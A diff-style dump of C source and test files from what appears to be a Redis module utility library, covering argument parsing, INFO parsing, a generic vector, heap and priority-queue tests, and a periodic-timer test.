fprintf(stderr, "%s:%d: ", __FILE__, __LINE__); \
|
||||
fprintf(stderr, "%g != %g: " __VA_ARGS__ "\n", (double)x, (double)y); \
|
||||
return -1; \
|
||||
} \
|
||||
numAsserts++;
|
||||
|
||||
#define FAIL(fmt, ...) \
|
||||
{ \
|
||||
fprintf(stderr, "%s:%d: FAIL: " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__); \
|
||||
return -1; \
|
||||
}
|
||||
|
||||
#define RETURN_TEST_SUCCESS return 0;
|
||||
#define TEST_CASE(x, block) \
|
||||
int x { \
|
||||
block; \
|
||||
return 0 \
|
||||
}
|
||||
|
||||
#define PRINT_TEST_SUMMARY printf("\nTotal: %d tests and %d assertions OK\n", numTests, numAsserts);
|
||||
|
||||
#define TEST_MAIN(body) \
|
||||
int main(int argc, char **argv) { \
|
||||
printf("Starting Test '%s'...\n", argv[0]); \
|
||||
body; \
|
||||
PRINT_TEST_SUMMARY; \
|
||||
printf("\n--------------------\n\n"); \
|
||||
return 0; \
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,38 @@
|
||||
#include <stdio.h>
|
||||
#include "heap.h"
|
||||
#include "assert.h"
|
||||
|
||||
int cmp(void *a, void *b) {
|
||||
int *__a = (int *) a;
|
||||
int *__b = (int *) b;
|
||||
return *__a - *__b;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int myints[] = {10, 20, 30, 5, 15};
|
||||
Vector *v = NewVector(int, 5);
|
||||
for (int i = 0; i < 5; i++) {
|
||||
Vector_Push(v, myints[i]);
|
||||
}
|
||||
|
||||
Make_Heap(v, 0, v->top, cmp);
|
||||
|
||||
int n;
|
||||
Vector_Get(v, 0, &n);
|
||||
assert(30 == n);
|
||||
|
||||
Heap_Pop(v, 0, v->top, cmp);
|
||||
v->top = 4;
|
||||
Vector_Get(v, 0, &n);
|
||||
assert(20 == n);
|
||||
|
||||
Vector_Push(v, 99);
|
||||
Heap_Push(v, 0, v->top, cmp);
|
||||
Vector_Get(v, 0, &n);
|
||||
assert(99 == n);
|
||||
|
||||
Vector_Free(v);
|
||||
printf("PASS!\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
#include <stdio.h>
|
||||
#include <redismodule.h>
|
||||
#include <unistd.h>
|
||||
#include "periodic.h"
|
||||
#include "assert.h"
|
||||
#include "test.h"
|
||||
|
||||
void timerCb(RedisModuleCtx *ctx, void *p) {
|
||||
int *x = p;
|
||||
(*x)++;
|
||||
}
|
||||
|
||||
int testPeriodic() {
|
||||
int x = 0;
|
||||
struct RMUtilTimer *tm = RMUtil_NewPeriodicTimer(
|
||||
timerCb, NULL, &x, (struct timespec){.tv_sec = 0, .tv_nsec = 10000000});
|
||||
|
||||
sleep(1);
|
||||
|
||||
ASSERT_EQUAL(0, RMUtilTimer_Terminate(tm));
|
||||
ASSERT(x > 0);
|
||||
ASSERT(x <= 100);
|
||||
return 0;
|
||||
}
|
||||
|
||||
TEST_MAIN({ TESTFUNC(testPeriodic); });
|
||||
@@ -0,0 +1,37 @@
|
||||
#include <stdio.h>
|
||||
#include "assert.h"
|
||||
#include "priority_queue.h"
|
||||
|
||||
int cmp(void* i1, void* i2) {
|
||||
int *__i1 = (int*) i1;
|
||||
int *__i2 = (int*) i2;
|
||||
return *__i1 - *__i2;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
PriorityQueue *pq = NewPriorityQueue(int, 10, cmp);
|
||||
assert(0 == Priority_Queue_Size(pq));
|
||||
|
||||
for (int i = 0; i < 5; i++) {
|
||||
Priority_Queue_Push(pq, i);
|
||||
}
|
||||
assert(5 == Priority_Queue_Size(pq));
|
||||
|
||||
Priority_Queue_Pop(pq);
|
||||
assert(4 == Priority_Queue_Size(pq));
|
||||
|
||||
Priority_Queue_Push(pq, 10);
|
||||
Priority_Queue_Push(pq, 20);
|
||||
Priority_Queue_Push(pq, 15);
|
||||
int n;
|
||||
Priority_Queue_Top(pq, &n);
|
||||
assert(20 == n);
|
||||
|
||||
Priority_Queue_Pop(pq);
|
||||
Priority_Queue_Top(pq, &n);
|
||||
assert(15 == n);
|
||||
|
||||
Priority_Queue_Free(pq);
|
||||
printf("PASS!\n");
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
#ifndef __TEST_UTIL_H__
|
||||
#define __TEST_UTIL_H__
|
||||
|
||||
#include "util.h"
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
#define RMUtil_Test(f) \
|
||||
if (argc < 2 || RMUtil_ArgExists(__STRING(f), argv, argc, 1)) { \
|
||||
int rc = f(ctx); \
|
||||
if (rc != REDISMODULE_OK) { \
|
||||
RedisModule_ReplyWithError(ctx, "Test " __STRING(f) " FAILED"); \
|
||||
return REDISMODULE_ERR;\
|
||||
}\
|
||||
}
|
||||
|
||||
|
||||
#define RMUtil_Assert(expr) if (!(expr)) { fprintf (stderr, "Assertion '%s' Failed\n", __STRING(expr)); return REDISMODULE_ERR; }
|
||||
|
||||
#define RMUtil_AssertReplyEquals(rep, cstr) RMUtil_Assert( \
|
||||
RMUtil_StringEquals(RedisModule_CreateStringFromCallReply(rep), RedisModule_CreateString(ctx, cstr, strlen(cstr))) \
|
||||
)
|
||||
#
|
||||
|
||||
/**
|
||||
* Create an arg list to pass to a redis command handler manually, based on the format in fmt.
|
||||
* The accepted format specifiers are:
|
||||
* c - for null terminated c strings
|
||||
* s - for RedisModuleString* objects
|
||||
* l - for longs
|
||||
*
|
||||
* Example: RMUtil_MakeArgs(ctx, &argc, "clc", "hello", 1337, "world");
|
||||
*
|
||||
* Returns an array of RedisModuleString pointers. The size of the array is store in argcp
|
||||
*/
|
||||
RedisModuleString **RMUtil_MakeArgs(RedisModuleCtx *ctx, int *argcp, const char *fmt, ...) {
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
RedisModuleString **argv = calloc(strlen(fmt), sizeof(RedisModuleString*));
|
||||
int argc = 0;
|
||||
const char *p = fmt;
|
||||
while(*p) {
|
||||
if (*p == 'c') {
|
||||
char *cstr = va_arg(ap,char*);
|
||||
argv[argc++] = RedisModule_CreateString(ctx, cstr, strlen(cstr));
|
||||
} else if (*p == 's') {
|
||||
argv[argc++] = va_arg(ap,void*);;
|
||||
} else if (*p == 'l') {
|
||||
long ll = va_arg(ap,long long);
|
||||
argv[argc++] = RedisModule_CreateStringFromLongLong(ctx, ll);
|
||||
} else {
|
||||
goto fmterr;
|
||||
}
|
||||
p++;
|
||||
}
|
||||
*argcp = argc;
|
||||
|
||||
return argv;
|
||||
fmterr:
|
||||
free(argv);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,58 @@
|
||||
#include "vector.h"
|
||||
#include <stdio.h>
|
||||
#include "test.h"
|
||||
|
||||
int testVector() {
|
||||
|
||||
Vector *v = NewVector(int, 1);
|
||||
ASSERT(v != NULL);
|
||||
// Vector_Put(v, 0, 1);
|
||||
// Vector_Put(v, 1, 3);
|
||||
for (int i = 0; i < 10; i++) {
|
||||
Vector_Push(v, i);
|
||||
}
|
||||
ASSERT_EQUAL(10, Vector_Size(v));
|
||||
ASSERT_EQUAL(16, Vector_Cap(v));
|
||||
|
||||
for (int i = 0; i < Vector_Size(v); i++) {
|
||||
int n;
|
||||
int rc = Vector_Get(v, i, &n);
|
||||
ASSERT_EQUAL(1, rc);
|
||||
// printf("%d %d\n", rc, n);
|
||||
|
||||
ASSERT_EQUAL(n, i);
|
||||
}
|
||||
|
||||
Vector_Free(v);
|
||||
|
||||
v = NewVector(char *, 0);
|
||||
int N = 4;
|
||||
char *strings[4] = {"hello", "world", "foo", "bar"};
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
Vector_Push(v, strings[i]);
|
||||
}
|
||||
ASSERT_EQUAL(N, Vector_Size(v));
|
||||
ASSERT(Vector_Cap(v) >= N);
|
||||
|
||||
for (int i = 0; i < Vector_Size(v); i++) {
|
||||
char *x;
|
||||
int rc = Vector_Get(v, i, &x);
|
||||
ASSERT_EQUAL(1, rc);
|
||||
ASSERT_STRING_EQ(x, strings[i]);
|
||||
}
|
||||
|
||||
int rc = Vector_Get(v, 100, NULL);
|
||||
ASSERT_EQUAL(0, rc);
|
||||
|
||||
Vector_Free(v);
|
||||
|
||||
return 0;
|
||||
// Vector_Push(v, "hello");
|
||||
// Vector_Push(v, "world");
|
||||
// char *x = NULL;
|
||||
// int rc = Vector_Getx(v, 0, &x);
|
||||
// printf("rc: %d got %s\n", rc, x);
|
||||
}
|
||||
|
||||
TEST_MAIN({ TESTFUNC(testVector); });
|
||||
@@ -0,0 +1,299 @@
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <math.h>
|
||||
#include <ctype.h>
|
||||
#include <sys/time.h>
|
||||
#include <stdarg.h>
|
||||
#include <limits.h>
|
||||
#include <string.h>
|
||||
#define REDISMODULE_EXPERIMENTAL_API
|
||||
#include <redismodule.h>
|
||||
#include "util.h"
|
||||
|
||||
/**
|
||||
Check if an argument exists in an argument list (argv,argc), starting at offset.
|
||||
@return 0 if it doesn't exist, otherwise the offset it exists in
|
||||
*/
|
||||
int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset) {
|
||||
|
||||
size_t larg = strlen(arg);
|
||||
for (; offset < argc; offset++) {
|
||||
size_t l;
|
||||
const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
|
||||
if (l != larg) continue;
|
||||
if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
|
||||
return offset;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
Check if an argument exists in an argument list (argv,argc)
|
||||
@return -1 if it doesn't exist, otherwise the offset it exists in
|
||||
*/
|
||||
int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc) {
|
||||
|
||||
size_t larg = strlen(arg);
|
||||
for (int offset = 0; offset < argc; offset++) {
|
||||
size_t l;
|
||||
const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
|
||||
if (l != larg) continue;
|
||||
if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
|
||||
return offset;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx) {
|
||||
|
||||
RedisModuleCallReply *r = RedisModule_Call(ctx, "INFO", "c", "all");
|
||||
if (r == NULL || RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int cap = 100; // rough estimate of info lines
|
||||
RMUtilInfo *info = malloc(sizeof(RMUtilInfo));
|
||||
info->entries = calloc(cap, sizeof(RMUtilInfoEntry));
|
||||
|
||||
int i = 0;
|
||||
size_t sz;
|
||||
char *text = (char *)RedisModule_CallReplyStringPtr(r, &sz);
|
||||
|
||||
char *line = text;
|
||||
while (line && line < text + sz) {
|
||||
char *line = strsep(&text, "\r\n");
|
||||
if (line == NULL) break;
|
||||
|
||||
if (!(*line >= 'a' && *line <= 'z')) { // skip non entry lines
|
||||
continue;
|
||||
}
|
||||
|
||||
char *key = strsep(&line, ":");
|
||||
info->entries[i].key = strdup(key);
|
||||
info->entries[i].val = strdup(line);
|
||||
i++;
|
||||
if (i >= cap) {
|
||||
cap *= 2;
|
||||
info->entries = realloc(info->entries, cap * sizeof(RMUtilInfoEntry));
|
||||
}
|
||||
}
|
||||
info->numEntries = i;
|
||||
RedisModule_FreeCallReply(r);
|
||||
return info;
|
||||
}
|
||||
void RMUtilRedisInfo_Free(RMUtilInfo *info) {
|
||||
for (int i = 0; i < info->numEntries; i++) {
|
||||
free(info->entries[i].key);
|
||||
free(info->entries[i].val);
|
||||
}
|
||||
free(info->entries);
|
||||
free(info);
|
||||
}
|
||||
|
||||
int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val) {
|
||||
|
||||
const char *p = NULL;
|
||||
if (!RMUtilInfo_GetString(info, key, &p)) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
*val = strtoll(p, NULL, 10);
|
||||
if ((errno == ERANGE && (*val == LONG_MAX || *val == LONG_MIN)) || (errno != 0 && *val == 0)) {
|
||||
*val = -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str) {
|
||||
int i;
|
||||
for (i = 0; i < info->numEntries; i++) {
|
||||
if (!strcmp(key, info->entries[i].key)) {
|
||||
*str = info->entries[i].val;
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d) {
|
||||
const char *p = NULL;
|
||||
if (!RMUtilInfo_GetString(info, key, &p)) {
|
||||
printf("not found %s\n", key);
|
||||
return 0;
|
||||
}
|
||||
|
||||
*d = strtod(p, NULL);
|
||||
if ((errno == ERANGE && (*d == HUGE_VAL || *d == -HUGE_VAL)) || (errno != 0 && *d == 0)) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
c -- pointer to a Null terminated C string pointer.
|
||||
b -- pointer to a C buffer, followed by pointer to a size_t for its length
|
||||
s -- pointer to a RedisModuleString
|
||||
l -- pointer to Long long integer.
|
||||
d -- pointer to a Double
|
||||
* -- do not parse this argument at all
|
||||
*/
|
||||
int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...) {
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
int rc = rmutil_vparseArgs(argv, argc, offset, fmt, ap);
|
||||
va_end(ap);
|
||||
return rc;
|
||||
}
|
||||
|
||||
// Internal function that parses arguments based on the format described above
|
||||
int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap) {
|
||||
|
||||
int i = offset;
|
||||
char *c = (char *)fmt;
|
||||
while (*c && i < argc) {
|
||||
|
||||
// read c string
|
||||
if (*c == 'c') {
|
||||
char **p = va_arg(ap, char **);
|
||||
*p = (char *)RedisModule_StringPtrLen(argv[i], NULL);
|
||||
} else if (*c == 'b') {
|
||||
char **p = va_arg(ap, char **);
|
||||
size_t *len = va_arg(ap, size_t *);
|
||||
*p = (char *)RedisModule_StringPtrLen(argv[i], len);
|
||||
} else if (*c == 's') { // read redis string
|
||||
|
||||
RedisModuleString **s = va_arg(ap, void *);
|
||||
*s = argv[i];
|
||||
|
||||
} else if (*c == 'l') { // read long
|
||||
long long *l = va_arg(ap, long long *);
|
||||
|
||||
if (RedisModule_StringToLongLong(argv[i], l) != REDISMODULE_OK) {
|
||||
return REDISMODULE_ERR;
|
||||
}
|
||||
} else if (*c == 'd') { // read double
|
||||
double *d = va_arg(ap, double *);
|
||||
if (RedisModule_StringToDouble(argv[i], d) != REDISMODULE_OK) {
|
||||
return REDISMODULE_ERR;
|
||||
}
|
||||
} else if (*c == '*') { // skip current arg
|
||||
// do nothing
|
||||
} else {
|
||||
return REDISMODULE_ERR; // WAT?
|
||||
}
|
||||
c++;
|
||||
i++;
|
||||
}
|
||||
// if the format is longer than argc, retun an error
|
||||
if (*c != 0) {
|
||||
return REDISMODULE_ERR;
|
||||
}
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
|
||||
int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
|
||||
...) {
|
||||
|
||||
int pos = RMUtil_ArgIndex(token, argv, argc);
|
||||
if (pos < 0) {
|
||||
return REDISMODULE_ERR;
|
||||
}
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
int rc = rmutil_vparseArgs(argv, argc, pos + 1, fmt, ap);
|
||||
va_end(ap);
|
||||
return rc;
|
||||
}
|
||||
|
||||
RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
|
||||
const char *path) {
|
||||
if (rep == NULL) return NULL;
|
||||
|
||||
RedisModuleCallReply *ele = rep;
|
||||
const char *s = path;
|
||||
char *e;
|
||||
long idx;
|
||||
do {
|
||||
errno = 0;
|
||||
idx = strtol(s, &e, 10);
|
||||
|
||||
if ((errno == ERANGE && (idx == LONG_MAX || idx == LONG_MIN)) || (errno != 0 && idx == 0) ||
|
||||
(REDISMODULE_REPLY_ARRAY != RedisModule_CallReplyType(ele)) || (s == e)) {
|
||||
ele = NULL;
|
||||
break;
|
||||
}
|
||||
s = e;
|
||||
ele = RedisModule_CallReplyArrayElement(ele, idx - 1);
|
||||
|
||||
} while ((ele != NULL) && (*e != '\0'));
|
||||
|
||||
return ele;
|
||||
}
|
||||
|
||||
int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out) {
|
||||
if (key == NULL) {
|
||||
return RMUTIL_VALUE_MISSING;
|
||||
}
|
||||
int keytype = RedisModule_KeyType(key);
|
||||
if (keytype == REDISMODULE_KEYTYPE_EMPTY) {
|
||||
return RMUTIL_VALUE_EMPTY;
|
||||
} else if (keytype == REDISMODULE_KEYTYPE_MODULE && RedisModule_ModuleTypeGetType(key) == type) {
|
||||
*out = RedisModule_ModuleTypeGetValue(key);
|
||||
return RMUTIL_VALUE_OK;
|
||||
} else {
|
||||
return RMUTIL_VALUE_MISMATCH;
|
||||
}
|
||||
}
|
||||
|
||||
RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
|
||||
const char *keyword, size_t *nargs) {
|
||||
if (offset > argc) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
argv += offset;
|
||||
argc -= offset;
|
||||
|
||||
int ix = RMUtil_ArgIndex(keyword, argv, argc);
|
||||
if (ix < 0) {
|
||||
return NULL;
|
||||
} else if (ix >= argc - 1) {
|
||||
*nargs = RMUTIL_VARARGS_BADARG;
|
||||
return argv;
|
||||
}
|
||||
|
||||
argv += (ix + 1);
|
||||
argc -= (ix + 1);
|
||||
|
||||
long long n = 0;
|
||||
RMUtil_ParseArgs(argv, argc, 0, "l", &n);
|
||||
if (n > argc - 1 || n < 0) {
|
||||
*nargs = RMUTIL_VARARGS_BADARG;
|
||||
return argv;
|
||||
}
|
||||
|
||||
*nargs = n;
|
||||
return argv + 1;
|
||||
}
|
||||
|
||||
void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value) {
|
||||
RedisModuleCtx *ctx = RedisModule_GetThreadSafeContext(NULL);
|
||||
RedisModuleCallReply *rep = RedisModule_Call(ctx, "DUMP", "s", key);
|
||||
if (rep != NULL && RedisModule_CallReplyType(rep) == REDISMODULE_REPLY_STRING) {
|
||||
size_t n;
|
||||
const char *s = RedisModule_CallReplyStringPtr(rep, &n);
|
||||
RedisModule_EmitAOF(aof, "RESTORE", "slb", key, 0, s, n);
|
||||
} else {
|
||||
RedisModule_Log(RedisModule_GetContextFromIO(aof), "warning", "Failed to emit AOF");
|
||||
}
|
||||
if (rep != NULL) {
|
||||
RedisModule_FreeCallReply(rep);
|
||||
}
|
||||
RedisModule_FreeThreadSafeContext(ctx);
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
#ifndef __UTIL_H__
|
||||
#define __UTIL_H__
|
||||
|
||||
#include <redismodule.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
/// make sure the response is not NULL or an error, and if it is sends the error to the client and
|
||||
/// exit the current function
|
||||
#define RMUTIL_ASSERT_NOERROR(ctx, r) \
|
||||
if (r == NULL) { \
|
||||
return RedisModule_ReplyWithError(ctx, "ERR reply is NULL"); \
|
||||
} else if (RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) { \
|
||||
RedisModule_ReplyWithCallReply(ctx, r); \
|
||||
return REDISMODULE_ERR; \
|
||||
}
|
||||
|
||||
#define __rmutil_register_cmd(ctx, cmd, f, mode) \
|
||||
if (RedisModule_CreateCommand(ctx, cmd, f, mode, 1, 1, 1) == REDISMODULE_ERR) \
|
||||
return REDISMODULE_ERR;
|
||||
|
||||
#define RMUtil_RegisterReadCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "readonly")
|
||||
|
||||
#define RMUtil_RegisterWriteCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "write")
|
||||
|
||||
/* RedisModule utilities. */
|
||||
|
||||
/** DEPRECATED: Return the offset of an arg if it exists in the arg list, or 0 if it's not there */
|
||||
int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset);
|
||||
|
||||
/* Same as argExists but returns -1 if not found. Use this, RMUtil_ArgExists is kept for backwards
|
||||
compatibility. */
|
||||
int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc);
|
||||
|
||||
/**
|
||||
Automatically conver the arg list to corresponding variable pointers according to a given format.
|
||||
You pass it the command arg list and count, the starting offset, a parsing format, and pointers to
|
||||
the variables.
|
||||
The format is a string consisting of the following identifiers:
|
||||
|
||||
c -- pointer to a Null terminated C string pointer.
|
||||
s -- pointer to a RedisModuleString
|
||||
l -- pointer to Long long integer.
|
||||
d -- pointer to a Double
|
||||
* -- do not parse this argument at all
|
||||
|
||||
Example: If I want to parse args[1], args[2] as a long long and double, I do:
|
||||
double d;
|
||||
long long l;
|
||||
RMUtil_ParseArgs(argv, argc, 1, "ld", &l, &d);
|
||||
*/
|
||||
int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...);
|
||||
|
||||
/**
|
||||
Same as RMUtil_ParseArgs, but only parses the arguments after `token`, if it was found.
|
||||
This is useful for optional stuff like [LIMIT [offset] [limit]]
|
||||
*/
|
||||
int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
|
||||
...);
|
||||
|
||||
int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap);
|
||||
|
||||
#define RMUTIL_VARARGS_BADARG ((size_t)-1)
|
||||
/**
|
||||
* Parse arguments in the form of KEYWORD {len} {arg} .. {arg}_len.
|
||||
* If keyword is present, returns the position within `argv` containing the arguments.
|
||||
* Returns NULL if the keyword is not found.
|
||||
* If a parse error has occurred, `nargs` is set to RMUTIL_VARARGS_BADARG, but
|
||||
* the return value is not NULL.
|
||||
*/
|
||||
RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
|
||||
const char *keyword, size_t *nargs);
|
||||
|
||||
/**
|
||||
* Default implementation of an AoF rewrite function that simply calls DUMP/RESTORE
|
||||
* internally. To use this function, pass it as the .aof_rewrite value in
|
||||
* RedisModuleTypeMethods
|
||||
*/
|
||||
void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value);
|
||||
|
||||
// A single key/value entry in a redis info map
|
||||
typedef struct {
|
||||
char *key;
|
||||
char *val;
|
||||
} RMUtilInfoEntry;
|
||||
|
||||
// Representation of INFO command response, as a list of k/v pairs
|
||||
typedef struct {
|
||||
RMUtilInfoEntry *entries;
|
||||
int numEntries;
|
||||
} RMUtilInfo;
|
||||
|
||||
/**
|
||||
* Get redis INFO result and parse it as RMUtilInfo.
|
||||
* Returns NULL if something goes wrong.
|
||||
* The resulting object needs to be freed with RMUtilRedisInfo_Free
|
||||
*/
|
||||
RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx);
|
||||
|
||||
/**
|
||||
* Free an RMUtilInfo object and its entries
|
||||
*/
|
||||
void RMUtilRedisInfo_Free(RMUtilInfo *info);
|
||||
|
||||
/**
|
||||
* Get an integer value from an info object. Returns 1 if the value was found and
|
||||
* is an integer, 0 otherwise. the value is placed in 'val'
|
||||
*/
|
||||
int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val);
|
||||
|
||||
/**
|
||||
* Get a string value from an info object. The value is placed in str.
|
||||
* Returns 1 if the key was found, 0 if not
|
||||
*/
|
||||
int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str);
|
||||
|
||||
/**
|
||||
* Get a double value from an info object. Returns 1 if the value was found and is
|
||||
* a correctly formatted double, 0 otherwise. the value is placed in 'd'
|
||||
*/
|
||||
int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d);
|
||||
|
||||
/*
|
||||
* Returns a call reply array's element given by a space-delimited path. E.g.,
|
||||
* the path "1 2 3" will return the 3rd element from the 2 element of the 1st
|
||||
* element from an array (or NULL if not found)
|
||||
*/
|
||||
RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
|
||||
const char *path);
|
||||
|
||||
/**
|
||||
* Extract the module type from an opened key.
|
||||
*/
|
||||
typedef enum {
|
||||
RMUTIL_VALUE_OK = 0,
|
||||
RMUTIL_VALUE_MISSING,
|
||||
RMUTIL_VALUE_EMPTY,
|
||||
RMUTIL_VALUE_MISMATCH
|
||||
} RMUtil_TryGetValueStatus;
|
||||
|
||||
/**
|
||||
* Tries to extract the module-specific type from the value.
|
||||
* @param key an opened key (may be null)
|
||||
* @param type the pointer to the type to match to
|
||||
* @param[out] out if the value is present, will be set to it.
|
||||
* @return a value in the @ref RMUtil_TryGetValueStatus enum.
|
||||
*/
|
||||
int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,88 @@
|
||||
#include "vector.h"
|
||||
#include <stdio.h>
|
||||
|
||||
inline int __vector_PushPtr(Vector *v, void *elem) {
|
||||
if (v->top == v->cap) {
|
||||
Vector_Resize(v, v->cap ? v->cap * 2 : 1);
|
||||
}
|
||||
|
||||
__vector_PutPtr(v, v->top, elem);
|
||||
return v->top;
|
||||
}
|
||||
|
||||
inline int Vector_Get(Vector *v, size_t pos, void *ptr) {
|
||||
// return 0 if pos is out of bounds
|
||||
if (pos >= v->top) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
memcpy(ptr, v->data + (pos * v->elemSize), v->elemSize);
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Get the element at the end of the vector, decreasing the size by one */
|
||||
inline int Vector_Pop(Vector *v, void *ptr) {
|
||||
if (v->top > 0) {
|
||||
if (ptr != NULL) {
|
||||
Vector_Get(v, v->top - 1, ptr);
|
||||
}
|
||||
v->top--;
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
inline int __vector_PutPtr(Vector *v, size_t pos, void *elem) {
|
||||
// resize if pos is out of bounds
|
||||
if (pos >= v->cap) {
|
||||
Vector_Resize(v, pos + 1);
|
||||
}
|
||||
|
||||
if (elem) {
|
||||
memcpy(v->data + pos * v->elemSize, elem, v->elemSize);
|
||||
} else {
|
||||
memset(v->data + pos * v->elemSize, 0, v->elemSize);
|
||||
}
|
||||
// move the end offset to pos if we grew
|
||||
if (pos >= v->top) {
|
||||
v->top = pos + 1;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
int Vector_Resize(Vector *v, size_t newcap) {
|
||||
int oldcap = v->cap;
|
||||
v->cap = newcap;
|
||||
|
||||
v->data = realloc(v->data, v->cap * v->elemSize);
|
||||
|
||||
// If we grew:
|
||||
// put all zeros at the newly realloc'd part of the vector
|
||||
if (newcap > oldcap) {
|
||||
int offset = oldcap * v->elemSize;
|
||||
memset(v->data + offset, 0, v->cap * v->elemSize - offset);
|
||||
}
|
||||
return v->cap;
|
||||
}
|
||||
|
||||
Vector *__newVectorSize(size_t elemSize, size_t cap) {
|
||||
Vector *vec = malloc(sizeof(Vector));
|
||||
vec->data = calloc(cap, elemSize);
|
||||
vec->top = 0;
|
||||
vec->elemSize = elemSize;
|
||||
vec->cap = cap;
|
||||
|
||||
return vec;
|
||||
}
|
||||
|
||||
void Vector_Free(Vector *v) {
|
||||
free(v->data);
|
||||
free(v);
|
||||
}
|
||||
|
||||
|
||||
/* return the used size of the vector, regardless of capacity */
|
||||
inline int Vector_Size(Vector *v) { return v->top; }
|
||||
|
||||
/* return the actual capacity */
|
||||
inline int Vector_Cap(Vector *v) { return v->cap; }
|
||||
@@ -0,0 +1,73 @@
|
||||
#ifndef __VECTOR_H__
|
||||
#define __VECTOR_H__
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
/*
|
||||
* Generic resizable vector that can be used if you just want to store stuff
|
||||
* temporarily.
|
||||
* Works like C++ std::vector with an underlying resizable buffer
|
||||
*/
|
||||
typedef struct {
|
||||
char *data;
|
||||
size_t elemSize;
|
||||
size_t cap;
|
||||
size_t top;
|
||||
|
||||
} Vector;
|
||||
|
||||
/* Create a new vector with element size. This should generally be used
|
||||
* internall by the NewVector macro */
|
||||
Vector *__newVectorSize(size_t elemSize, size_t cap);
|
||||
|
||||
// Put a pointer in the vector. To be used internall by the library
|
||||
int __vector_PutPtr(Vector *v, size_t pos, void *elem);
|
||||
|
||||
/*
|
||||
* Create a new vector for a given type and a given capacity.
|
||||
* e.g. NewVector(int, 0) - empty vector of ints
|
||||
*/
|
||||
#define NewVector(type, cap) __newVectorSize(sizeof(type), cap)
|
||||
|
||||
/*
|
||||
* get the element at index pos. The value is copied in to ptr. If pos is outside
|
||||
* the vector capacity, we return 0
|
||||
* otherwise 1
|
||||
*/
|
||||
int Vector_Get(Vector *v, size_t pos, void *ptr);
|
||||
|
||||
/* Get the element at the end of the vector, decreasing the size by one */
|
||||
int Vector_Pop(Vector *v, void *ptr);
|
||||
|
||||
//#define Vector_Getx(v, pos, ptr) pos < v->cap ? 1 : 0; *ptr =
|
||||
//*(typeof(ptr))(v->data + v->elemSize*pos)
|
||||
|
||||
/*
|
||||
